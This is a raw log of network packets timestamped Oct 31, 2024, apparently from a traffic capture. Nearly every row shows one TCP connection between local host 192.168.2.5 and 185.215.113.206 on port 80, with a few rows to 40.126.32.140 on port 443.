Oct 31, 2024 01:18:52.812458038 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.812469959 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.812479973 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.812491894 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.812494993 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.812494993 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.812501907 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.812516928 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.812519073 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.812532902 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.812544107 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.812549114 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.812555075 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.812566996 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.812571049 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.812577963 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.812587976 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.812594891 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.812598944 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.812614918 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.812621117 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.812621117 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.812634945 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.812639952 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.812645912 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.812657118 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.812668085 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.812689066 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.812705994 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.812802076 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.812813044 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.812824011 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.812834024 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.812844038 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.812844038 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.812855959 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.812865973 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.812866926 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.812877893 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.812885046 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.812894106 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.812902927 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.812906027 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.812916040 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.812927008 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.812935114 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.812937975 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.812954903 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.812961102 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.812972069 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.812983036 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.812983990 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.812997103 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.813005924 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.813009024 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.813020945 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.813030005 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.813033104 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.813044071 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.813044071 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.813055992 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.813066006 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.813076973 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.813086033 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.813087940 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.813107014 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.813110113 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.813117027 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.813123941 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.813127041 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.813138008 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.813138962 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.813155890 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.813164949 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.813168049 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.813178062 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.813189030 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.813189030 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.813210964 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.813214064 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.813239098 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.813246012 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.813256979 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.813265085 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.813282967 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.813298941 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.813329935 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.813342094 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.813353062 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.813363075 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.813366890 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.813374043 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.813384056 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.813386917 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.813405037 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.813405991 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.813416004 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.813426971 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.813430071 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.813455105 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.813478947 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.813550949 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.813589096 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.813693047 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.813709974 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.813721895 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.813731909 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.813743114 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.813746929 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.813755035 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.813766003 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.813766956 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.813776970 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.813787937 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.813790083 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.813805103 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.813806057 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.813817978 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.813829899 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.813832045 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.813863993 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.813879967 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.813927889 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.813940048 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.813966036 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.813976049 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.813980103 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.813991070 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.814007044 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.814016104 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.814028025 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.814030886 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.814039946 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.814043045 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.814054966 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.814064026 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.814066887 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.814076900 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.814089060 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.814090014 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.814100981 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.814109087 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.814126015 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.814126968 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.814138889 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.814150095 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.814157963 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.814161062 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.814171076 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.814172983 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.814187050 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.814198017 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.814201117 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.814209938 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.814219952 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.814225912 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.814234972 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.814237118 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.814245939 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.814258099 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.814259052 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.814276934 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.814294100 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.814296961 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.814306974 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.814321041 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.814322948 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.814327955 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.814346075 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.814357996 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.814387083 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.814533949 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.814579964 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.814610004 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.814621925 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.814631939 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.814642906 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.814645052 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.814654112 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.814657927 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.814662933 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.814676046 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.814692974 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.814723969 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.820473909 CET	50000	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:52.820493937 CET	443	50000	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:52.820545912 CET	50000	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:52.820914030 CET	50000	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:52.820925951 CET	443	50000	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:52.852639914 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.852669954 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.852682114 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.852705956 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.852722883 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.852773905 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.852790117 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.852802038 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.852813005 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.852823973 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.852828979 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.852835894 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.852848053 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.852849960 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.852860928 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.852869987 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.852885008 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.852910995 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.852936983 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.852947950 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.852957964 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.852971077 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.852982044 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.852988958 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.852998972 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.853004932 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.853009939 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.853020906 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.853024960 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.853033066 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.853043079 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.853044987 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.853055954 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.853066921 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.853076935 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.853087902 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.853091955 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.853096962 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.853108883 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.853120089 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.853121996 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.853130102 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.853138924 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.853142023 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.853154898 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.853158951 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.853171110 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.853177071 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.853183031 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.853190899 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.853193998 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.853207111 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.853218079 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.853218079 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.853229046 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.853245020 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.853256941 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.925277948 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.925299883 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.925312042 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.925326109 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.925338030 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.925378084 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.925411940 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.925421953 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.925424099 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.925436020 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.925447941 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.925460100 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.925470114 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.925471067 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.925471067 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.925482988 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.925494909 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.925513029 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.925539017 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.925539017 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.925550938 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.925607920 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.925623894 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.925642014 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.925661087 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.925672054 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.925683022 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.925695896 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.925704002 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.925719023 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.925745010 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.925796032 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.925827980 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.925865889 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.925901890 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.925915003 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.925925016 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.925935984 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.925966978 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.925978899 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.925988913 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.925998926 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.926009893 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.926023960 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.926026106 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.926029921 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.926042080 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.926043034 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.926059961 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.926085949 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.926099062 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.926111937 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.926146030 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.926234007 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.926245928 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.926255941 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.926268101 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.926276922 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.926286936 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.926297903 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.926301956 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.926309109 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.926320076 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.926331997 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.926335096 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.926342010 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.926350117 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.926352978 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.926364899 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.926382065 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.926387072 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.926393032 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.926403999 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.926414967 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.926415920 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.926434994 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.926454067 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.926470995 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.926481962 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.926491976 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.926505089 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.926523924 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.926534891 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.926549911 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.926556110 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.926620960 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.926631927 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.926655054 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.926664114 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.926668882 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.926680088 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.926692963 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.926712036 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.926795006 CET	80	49962	185.215.113.206	192.168.2.5
